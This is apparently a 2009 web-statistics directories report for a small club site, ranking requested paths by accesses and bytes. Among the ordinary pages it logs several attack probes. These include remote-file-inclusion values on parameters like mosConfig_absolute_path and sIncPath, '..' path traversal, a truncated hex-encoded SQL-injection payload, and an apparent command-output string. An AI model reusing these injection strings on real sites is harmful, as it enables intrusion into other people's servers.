Directories Report

Week of 10/4/2009 to 10/10/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 26,230 61.97 378,285,149 65.72 875 16.97
2 [ /season] 10,464 24.72 54,944,238 9.55 1,397 27.10
3 [ /Templates] 2,268 5.36 1,701,399 0.30 760 14.74
4 / 1,027 2.43 17,950,885 3.12 911 17.67
5 [ /webstats] 545 1.29 1,466,295 0.25 296 5.74
6 [ /stats] 457 1.08 1,279,273 0.22 43 0.83
7 [ /pdfs] 354 0.84 100,055,610 17.38 266 5.16
8 /index.htm 105 0.25 2,226,584 0.39 104 2.02
9 /SAScontact.htm 99 0.23 1,603,809 0.28 96 1.86
10 /SASabout.htm 82 0.19 1,554,777 0.27 80 1.55
11 /SASregistration.htm 79 0.19 3,046,392 0.53 75 1.45
12 /SASfosas.htm 61 0.14 1,230,539 0.21 57 1.11
13 [ //graphics] 57 0.13 1,286,721 0.22 1 0.02
14 [ /?sIncPath=http:] 54 0.13 1,306,908 0.23 0 0.00
15 /SASgallery.htm 53 0.13 995,304 0.17 51 0.99
16 [ /galleries] 44 0.10 35,144 0.01 17 0.33
17 /SASnewsletter.htm 43 0.10 775,125 0.13 42 0.81
18 /SASscholarship.htm 41 0.10 671,956 0.12 41 0.80
19 [ /?_SERVER[DOCUMENT_ROOT]=http:] 38 0.09 919,676 0.16 0 0.00
20 [ /?custompluginfile[]=http:] 38 0.09 919,676 0.16 0 0.00
21 /SASlinks.htm 37 0.09 471,240 0.08 35 0.68
22 [ /?_zb_path=http:] 24 0.06 580,848 0.10 0 0.00
23 [ //season] 21 0.05 107,514 0.02 1 0.02
24 [ /?view=page&pagename=http:] 21 0.05 508,242 0.09 0 0.00
25 [ /?mosConfig_absolute_path=http:] 12 0.03 290,424 0.05 0 0.00
26 [ ////////?mosConfig_absolute_path=http:] 4 0.01 96,808 0.02 0 0.00
27 [ //Templates] 4 0.01 3,379 0.00 1 0.02
28 [ /?DOCUMENT_ROOT=http:] 4 0.01 96,808 0.02 0 0.00
29 [ /?_zb_path=..] 3 0.01 72,606 0.01 0 0.00
30 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
3 0.01 48,404 0.01 0 0.00
31 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 3 0.01 72,606 0.01 0 0.00
32 /?;DECLARE 2 0.00 24,202 0.00 0 0.00
33 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
2 0.00 24,202 0.00 0 0.00
34 /?> 2 0.00 24,202 0.00 0 0.00
35 [ /?GLOBALS[mosConfig_absolute_path]=http:] 2 0.00 48,404 0.01 0 0.00
36 [ /?custompluginfile=http:] 2 0.00 48,404 0.01 0 0.00
37 /?id=http: 2 0.00 48,404 0.01 0 0.00
38 /?leisurelog.com 2 0.00 24,202 0.00 0 0.00
39 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 2 0.00 48,404 0.01 0 0.00
40 [ /?page=http:] 2 0.00 48,404 0.01 0 0.00
41 [ /?path[docroot]=http:] 2 0.00 24,202 0.00 0 0.00
42 /?tp=1 2 0.00 24,202 0.00 0 0.00
43 [ /icons] 2 0.00 0 0.00 2 0.04
44 // 1 0.00 24,202 0.00 1 0.02
45 //SASabout.htm 1 0.00 23,598 0.00 1 0.02
46 //SASfosas.htm 1 0.00 25,583 0.00 1 0.02
47 /. 1 0.00 24,202 0.00 1 0.02
48 /?';DECLARE 1 0.00 24,202 0.00 0 0.00
49 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,202 0.00 0 0.00
50 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,202 0.00 0 0.00
51 [ /?ABSOLUTE_PATH_STUDIP=http:] 1 0.00 24,202 0.00 0 0.00
52 [ /?_SERVER[DOCUMENT_ROOT]=..] 1 0.00 24,202 0.00 0 0.00
53 [ /?baseDir=http:] 1 0.00 24,202 0.00 0 0.00
54 /?citysearch_profile_view=1&profile_id=41271045 1 0.00 24,202 0.00 0 0.00
55 [ /?custompluginfile[]=..] 1 0.00 24,202 0.00 0 0.00
56 [ /?custompluginfile[]http:] 1 0.00 24,202 0.00 0 0.00
57 [ /?error=http:] 1 0.00 24,202 0.00 0 0.00
58 /?feed=rss2 1 0.00 24,202 0.00 0 0.00
59 /?foiffs=in100fweg 1 0.00 24,202 0.00 0 0.00
60 [ /?id=http://CPE-144-131-145-199.static.nsw.bigpond.net.au] 1 0.00 24,202 0.00 0 0.00
61 [ /?language_id=http:] 1 0.00 24,202 0.00 0 0.00
62 /?menu_frame.html 1 0.00 24,202 0.00 0 0.00
63 [ /?mosConfig_absolute_path=..] 1 0.00 24,202 0.00 0 0.00
64 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
1 0.00 24,202 0.00 0 0.00
65 /?p=40148 1 0.00 24,202 0.00 0 0.00
66 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,202 0.00 0 0.00
67 [ /?site= bussnisshttp:] 1 0.00 24,202 0.00 0 0.00
68 [ /?sourcedir=..] 1 0.00 24,202 0.00 0 0.00